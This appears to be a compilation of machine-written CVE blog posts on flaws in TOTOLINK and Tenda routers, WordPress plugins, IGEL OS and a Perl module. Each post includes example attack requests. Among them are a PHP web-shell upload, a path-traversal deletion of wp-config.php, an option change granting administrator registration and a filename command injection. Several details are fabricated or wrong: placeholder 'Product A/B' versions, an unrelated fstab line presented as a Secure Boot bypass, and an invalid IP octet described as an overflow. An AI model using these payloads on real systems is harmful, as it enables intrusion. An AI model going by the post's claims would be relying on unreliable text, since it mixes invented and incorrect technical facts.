Author: Ameeba

Overview

A critical vulnerability, tagged as CVE-2025-5671, has been detected in TOTOLINK N302R Plus versions up to 3.4.0-B20201028. This critical flaw resides in an unknown function of the file /boafrm/formPortFw of the HTTP POST Request Handler component. The vulnerability can lead to potential system compromise or data leakage, posing a significant risk to users and organizations utilizing the TOTOLINK N302R Plus. Given the severity and the public disclosure of the exploit, it’s crucial for users to understand the implications of this security flaw and how to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-5671
Severity: Critical, CVSS score 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK N302R Plus | Up to 3.4.0-B20201028

How the Exploit Works

The vulnerability lies in the manipulation of the argument service_type in the HTTP POST Request Handler’s /boafrm/formPortFw file. A malicious actor can exploit this vulnerability by sending a specially crafted HTTP POST request containing an oversized service_type argument, leading to a buffer overflow. This overflow can allow the attacker to execute arbitrary code or potentially gain unauthorized access to sensitive information.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload in the service_type argument:
“`http
POST /boafrm/formPortFw HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
service_type=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Overview

CVE-2025-21475 is a significant security vulnerability that targets a broad range of systems. This vulnerability arises due to memory corruption while processing an escape code, specifically when a large unsigned value is passed as DisplayId. The widespread nature of this vulnerability and the potential damage it can cause make it one of the top cybersecurity threats in the market today. If exploited, it could potentially lead to system compromise and data leakage, making it highly pertinent to organizations and individual users alike.

Vulnerability Summary

CVE ID: CVE-2025-21475
Severity: High (7.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.0 to 1.7
Product B | Version 2.0 to 2.5

How the Exploit Works

The exploit works by abusing the memory corruption that occurs when processing an escape code. This is triggered when a large unsigned value is passed as DisplayId. An attacker can craft a malicious payload that includes a large unsigned value for DisplayId, which will lead to memory corruption. This corruption can then be leveraged by the attacker to execute arbitrary code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "DisplayId": "18446744073709551616" }

Here, the ‘DisplayId’ value is an example of a large unsigned value that can cause memory corruption, leading to potential system compromise or data leakage.

Mitigation Guidance

While the most effective mitigation strategy is to apply the vendor’s patch as soon as it becomes available, temporary mitigation can also be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These systems can be configured to identify and block attempts to exploit this vulnerability. Regular system and software updates alongside rigorous cybersecurity practices are also recommended to protect against this and other vulnerabilities.

Overview

In the constantly evolving world of cybersecurity, new vulnerabilities are discovered almost every day. One such vulnerability, identified as CVE-2025-47827, has been found in IGEL OS versions before 11. This vulnerability is significant because it allows an attacker to bypass Secure Boot, a critical security feature designed to ensure that a system boots using only software that is trusted by the Original Equipment Manufacturer (OEM). The exploitation of this vulnerability could lead to potential system compromise or data leakage.
The vulnerability was discovered in IGEL OS, a power-packed, small and very secure Linux distribution that is widely used in thin clients, which makes it a high-risk issue. The fact that it can allow the mounting of a crafted root filesystem from an unverified SquashFS image underscores the severity of this threat.

Vulnerability Summary

CVE ID: CVE-2025-47827
Severity: High (8.4 CVSS Score)
Attack Vector: Local
Privileges Required: High
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

IGEL OS | Before Version 11

How the Exploit Works

The vulnerability resides in the igel-flash-driver module of the IGEL OS. This module is responsible for verifying the cryptographic signature of the boot files. However, due to an error in the verification process, an attacker with high-level privileges can bypass the Secure Boot process.
The attacker can craft a malicious root filesystem and mount it from an unverified SquashFS image. This allows the attacker to load untrusted code at system boot time, bypassing the integrity checks and leading to a potential system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a shell command:

# Create a malicious SquashFS image
mksquashfs malicious_root_fs malicious.sqsh
# Mount the malicious image at boot time
echo "/dev/sda1 / squashfs defaults 0 0" >> /etc/fstab

In this example, `malicious_root_fs` is a directory containing the malicious root filesystem, and `malicious.sqsh` is the SquashFS image created from it. The second command mounts this image at boot time, effectively bypassing the Secure Boot process and loading untrusted code into the system.

Recommended Mitigation

Users are advised to apply the patch provided by the vendor as soon as possible. If the vendor patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy to detect and block attempted exploits of this vulnerability.

Overview

The digital landscape is fraught with vulnerabilities, and the CVE-2025-5701 is a glaring example of how a seemingly harmless WordPress plugin can turn into a potential system compromise or data leakage tool. The HyperComments plugin, a popular tool for WordPress sites, has been discovered to possess a critical vulnerability that allows unauthorized modification of data. This cyber threat affects all versions up to, and including, 1.2.2 of the HyperComments plugin. The vulnerability is of immense concern as it can potentially grant an unauthenticated attacker administrative user access to a vulnerable WordPress site.

Vulnerability Summary

CVE ID: CVE-2025-5701
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized modification of data leading to privilege escalation and potential system compromise or data leakage

Affected Products

Product | Affected Versions

HyperComments Plugin for WordPress | <= 1.2.2 How the Exploit Works

The vulnerability lies in the hc_request_handler function of the HyperComments plugin. This function lacks a necessary capability check, making it possible for unauthenticated attackers to update arbitrary options on a WordPress site. By exploiting this vulnerability, an attacker can manipulate the default role for registration to the administrator and enable user registration. This allows the attacker to register themselves as an administrator, thus gaining full administrative access to the vulnerable site.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a malicious HTTP request that an attacker might send:

POST /wp-json/hc/v1/request_handler HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: application/json
{
"option_name": "default_role",
"option_value": "administrator"
}

In this example, the attacker is sending a POST request to the vulnerable endpoint in the HyperComments plugin (`/wp-json/hc/v1/request_handler`). The payload of the request aims to change the `default_role` option to `administrator`.

Mitigation Guidance

Users of the HyperComments plugin are strongly advised to apply the vendor patch as soon as possible. As a temporary mitigation measure, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block malicious requests. However, these measures are not full-proof and should be used in conjunction with the vendor patch to ensure comprehensive protection against this critical vulnerability.

Overview

This blog post will delve into the details of a serious vulnerability found in File::Find::Rule through 0.34 for Perl, designated as CVE-2011-10007. This vulnerability could allow an attacker to execute arbitrary code when the `grep()` function encounters a specifically crafted filename – a significant issue because Perl is widely used for system management tasks, network programming, and web development. The vulnerability could potentially impact a vast number of servers and systems, putting sensitive data at risk and providing an entry point for further attacks.

Vulnerability Summary

CVE ID: CVE-2011-10007
Severity: High (8.8)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Arbitrary Code Execution, potential system compromise and data leakage

Affected Products

Product | Affected Versions

File::Find::Rule for Perl | 0.34 and prior versions

How the Exploit Works

The vulnerability comes into play when the `grep()` function in File::Find::Rule encounters a filename that has been crafted in a specific way by an attacker. A file handle is opened with the two-argument form of `open()`. This allows the attacker-controlled filename to provide the MODE parameter to `open()`, which in turn transforms the filename into a command to be executed. With this, an attacker could potentially execute arbitrary code on the affected system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id"
$ perl -MFile::Find::Rule \
-E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'

In the above example, the directory `/tmp/poc` is created, and a file named `|id` is created within it. When the `grep()` function in File::Find::Rule traverses this directory, it encounters the maliciously crafted filename `|id`, which in turn opens a file handle with `open()` and executes the `id` command. The result is displayed, revealing the user and group IDs of the current user, demonstrating a successful arbitrary command execution.

Prevention and Mitigation

The best course of action to prevent exploitation of this vulnerability is to apply the vendor-provided patch. If for some reason this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent attempted exploits. However, these are only temporary solutions and do not address the root cause of the vulnerability. Therefore, updating to a patched version of File::Find::Rule is highly recommended.

Overview

A critical vulnerability, CVE-2025-3055, has been discovered in the WP User Frontend Pro plugin for WordPress, affecting all versions up to and including 4.1.3. This vulnerability is troubling news for organizations using WordPress as their primary content management system, as it could potentially lead to system compromise or data leakage.
The vulnerability is primarily due to insufficient file path validation in the delete_avatar_ajax() function. This makes it possible for authenticated attackers with Subscriber-level access and above, to delete arbitrary files on the server. When the right file such as wp-config.php is deleted, this could easily result in remote code execution.

Vulnerability Summary

CVE ID: CVE-2025-3055
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

WP User Frontend Pro Plugin for WordPress | Up to and including 4.1.3

How the Exploit Works

The exploit takes advantage of the poorly validated file path in the delete_avatar_ajax() function of the WP User Frontend Pro plugin. An attacker with subscriber-level privileges or above, can send a maliciously crafted request to the function. This request can instruct the function to delete an important system file, such as wp-config.php. Once this file is deleted, the attacker can execute remote commands, leading to a system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents a malicious HTTP request that targets the delete_avatar_ajax() function to delete the wp-config.php file.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
action=wpuf_delete_avatar&nonce=abc123&user_id=1&filepath=../../../wp-config.php

In this example, the filepath parameter is manipulated to traverse directories and target the wp-config.php file for deletion. The nonce and user_id parameters would be replaced with actual values in a real attack.

Mitigation

The best way to remediate this vulnerability is to apply the vendor-supplied patch. If this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It is always recommended to keep all plugins and themes up-to-date to prevent exploitation of known vulnerabilities.

Overview

The CVE-2025-3054 vulnerability is a critical security flaw found in the WP User Frontend Pro plugin for WordPress. This flaw allows authenticated attackers with subscriber-level access or above to upload arbitrary files to the affected site’s server. The vulnerability arises due to a lack of file type validation in the upload_files() function, thus potentially enabling remote code execution. It is crucial for all WordPress sites using this plugin, particularly those that have the ‘Private Message’ module enabled and are using the Business version of the PRO software, to take immediate action and secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-3054
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WP User Frontend Pro Plugin for WordPress | Up to and including 4.1.3

How the Exploit Works

The vulnerability is based on the lack of file type validation in the upload_files() function within the WP User Frontend Pro plugin. An attacker with subscriber-level access can misuse this function to upload arbitrary files, including those having malicious content. Once uploaded, these files could be executed on the server, leading to potential remote code execution and system compromise. It is important to note that this exploit requires the ‘Private Message’ module to be enabled.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

POST /wp-user-frontend-pro/upload_files HTTP/1.1
Host: target-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker sends a HTTP POST request to the vulnerable endpoint with a malicious PHP script as a file upload. If successful, this script could enable the attacker to execute arbitrary commands on the server.

Remediation

To mitigate this vulnerability, it is strongly recommended to apply the vendor patch once it is available. Until then, using a web application firewall (WAF) or intrusion detection system (IDS) can aid in detecting and preventing potential attacks. Additionally, disable the ‘Private Message’ module if it is not in use. Regularly updating all plugins and monitoring for suspicious activity can further enhance security.

Overview

A critical vulnerability has been discovered in Tenda AC10 routers, affecting versions up to 15.03.06.47, that could potentially compromise the entire system or lead to data leakage. This vulnerability, identified as CVE-2025-5629, pertains to a buffer overflow condition caused by the manipulation of the `startIp/endIp` arguments in the `formSetPPTPServer` function of `/goform/SetPptpServerCfg` file in the HTTP Handler component. Given the widespread use of Tenda AC10 routers, the impact of this vulnerability is extensive and its mitigation is of paramount importance.

Vulnerability Summary

CVE ID: CVE-2025-5629
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC10 | Up to 15.03.06.47

How the Exploit Works

The exploit takes advantage of a buffer overflow condition in the HTTP Handler component of the Tenda AC10 routers. This is achieved by sending specially crafted HTTP requests with manipulated `startIp/endIp` arguments to the `formSetPPTPServer` function of the `/goform/SetPptpServerCfg` file. The buffer overflow condition can lead to unexpected behavior, including system crashes, arbitrary code execution, or even a complete system takeover, thereby potentially compromising user’s data.

Conceptual Example Code

Here’s a conceptual example of an HTTP request that could exploit this vulnerability:

POST /goform/SetPptpServerCfg HTTP/1.1
Host: target.tenda.router
Content-Type: application/x-www-form-urlencoded
startIp=192.168.1.1&endIp=192.168.1.256

In this example, the `endIp` is set to `192.168.1.256`, which is an invalid IP address, causing a buffer overflow in the handling function.

Recommended Mitigations

Users are strongly advised to apply the patch provided by the vendor to mitigate this vulnerability. In case the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is recommended to disable remote management features if they are not required and regularly update and patch all software to prevent exploitation of known vulnerabilities.

Overview

A critical vulnerability has been discovered in Tenda CH22 1.0.0.1, a popular networking device. This vulnerability, identified as CVE-2025-5619, affects the ‘formaddUserName’ function of the ‘/goform/addUserName’ file within the system. The function’s argument manipulation, specifically the ‘Password’, can lead to a stack-based buffer overflow situation. As with many other critical vulnerabilities, this issue holds a high risk for potential system compromise or data leakage. Cybersecurity analysts and IT professionals should be aware and vigilant, given that the exploit has already been disclosed to the public and can be initiated remotely.

Vulnerability Summary

CVE ID: CVE-2025-5619
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda | CH22 1.0.0.1

How the Exploit Works

The vulnerability lies within the ‘formaddUserName’ function in the ‘/goform/addUserName’ file. The exploit is triggered when the ‘Password’ argument is manipulated, which leads to a stack-based buffer overflow. This overflow can potentially overwrite critical program data, system control data, or even the return address. The exploit can be initiated remotely without any user interaction. Successful exploitation may result in system compromise or data leakage.

Conceptual Example Code

To illustrate a potential exploit, consider the following example of a malicious HTTP request:

POST /goform/addUserName HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

In this example, the password field is filled with an excessively long string, causing a buffer overflow. This could potentially overwrite critical data and compromise the system.
Please note that this is a conceptual example and the actual exploit may vary. This information is provided for educational purposes, to understand the nature of the vulnerability and to encourage swift mitigation actions.

Overview

CVE-2025-5609 is a critical vulnerability found in Tenda AC18 15.03.05.05, a widely-used networking device. This vulnerability, affecting the function fromadvsetlanip in the file /goform/AdvSetLanip, has been publicly disclosed and is known to be exploitable. Given the severity of the issue and the potential for system compromise or data leakage, it’s crucial for users and administrators of Tenda AC18 devices to understand the risks, apply mitigation strategies, and stay informed about any further developments.

Vulnerability Summary

CVE ID: CVE-2025-5609
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda | AC18 15.03.05.05

How the Exploit Works

The vulnerability lies in the handling of the ‘lanMask’ argument in the fromadvsetlanip function. By manipulating this argument, an attacker can trigger a buffer overflow condition. This condition can lead to unexpected behavior, including system crashes, data corruption, and in worst-case scenarios, allow the attacker to execute arbitrary code or control the system.

Conceptual Example Code

The actual exploit code is not provided to prevent misuse, but a conceptual example can help understand how an attack might be carried out. In a hypothetical attack, a malicious actor might send an HTTP POST request with an oversized ‘lanMask’ argument to the vulnerable endpoint.

POST /goform/AdvSetLanip HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
lanMask=256.256.256.256&...[remainder of the payload]

In this example, ‘lanMask’ is set to a value that exceeds the expected input size, potentially triggering a buffer overflow. This could lead to memory corruption, crashing the system, or potentially allowing the attacker to execute arbitrary code.

Mitigation

Tenda users are advised to apply patches provided by the vendor as soon as possible. If patches are not immediately available or if patching is not immediately feasible, temporary mitigation can be achieved by implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block exploit attempts. As a best practice, regular software updates should be a part of routine system maintenance to avoid falling victim to known vulnerabilities.